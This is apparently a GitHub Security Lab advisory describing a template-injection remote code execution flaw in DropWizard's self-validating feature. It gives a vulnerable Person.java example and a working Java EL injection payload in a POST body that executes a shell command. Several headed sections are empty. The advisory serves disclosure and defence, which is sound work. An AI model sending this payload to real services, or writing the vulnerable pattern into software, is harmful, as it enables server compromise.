Summary

A Server-Side Template Injection was identified in Dropwizard self-validating feature enabling attackers to inject arbitrary Java EL expressions, leading to Remote Code Execution (RCE) vulnerability.

CVE

Product

DropWizard

Tested Version

v2.0.1

Details

DropWizard self-validating classes use Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template being passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument, he will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message.

DropWizard’s io.dropwizard.validation.selfvalidating.ViolationCollector.addViolation() passes its argument into ConstraintValidatorContext.buildConstraintViolationWithTemplate() without any further sanitization. Therefore, any untrusted data being passed to addViolation() will be evaluated as an EL expression allowing arbitrary code execution.

Note that this is not a vulnerability in the framework per-se, but an RCE vulnerable API being exposed to developers without proper information. We don’t think this is only a missing warning in the documentation, but rather we think that this API should protect developers against potential misuse (see recommendations to disable EL interpolation altogether below).

As a proof of concept you can reuse dropwizard-example project and modify Person.java to become self-validated:

...
import io.dropwizard.validation.selfvalidating.SelfValidating;
import io.dropwizard.validation.selfvalidating.SelfValidation;
import io.dropwizard.validation.selfvalidating.ViolationCollector;

@SelfValidating
public class Person {
...
    @SelfValidation
    public void validateFullName(ViolationCollector col) {
        if (fullName.contains("$")) {
            col.addViolation("Full name contains invalid characters:  " + fullName);
        }
    }
...

Note that a property of the validated, and therefore normally untrusted, bean is passed to addViolation() which in turn will pass it to ConstraintValidatorContext.buildConstraintViolationWithTemplate(0).

To reproduce the issue, send a POST request to http://server/people with the following body:

{"fullName":"java.lang.Runtime.getRuntime().exec('touch /tmp/pwned');//${''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue.fullName)}","jobTitle":"Title"}

We can see the process has been executed by checking the existence of /tmp/pwned file in conductor file system or simply by inspecting the response

Impact

This issue may lead to Remote Code execution

Remediation

There are different approaches to remediate the issue:

Coordinated Disclosure Timeline

Vendor Advisories

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz). We would like to thank Guillaume Smet from the Hibernate Validator team for help with the remediation advice.

Contact

You can contact the GHSL team at securitylab@github.com, please include the GHSL-2020-030 in any communication regarding this issue.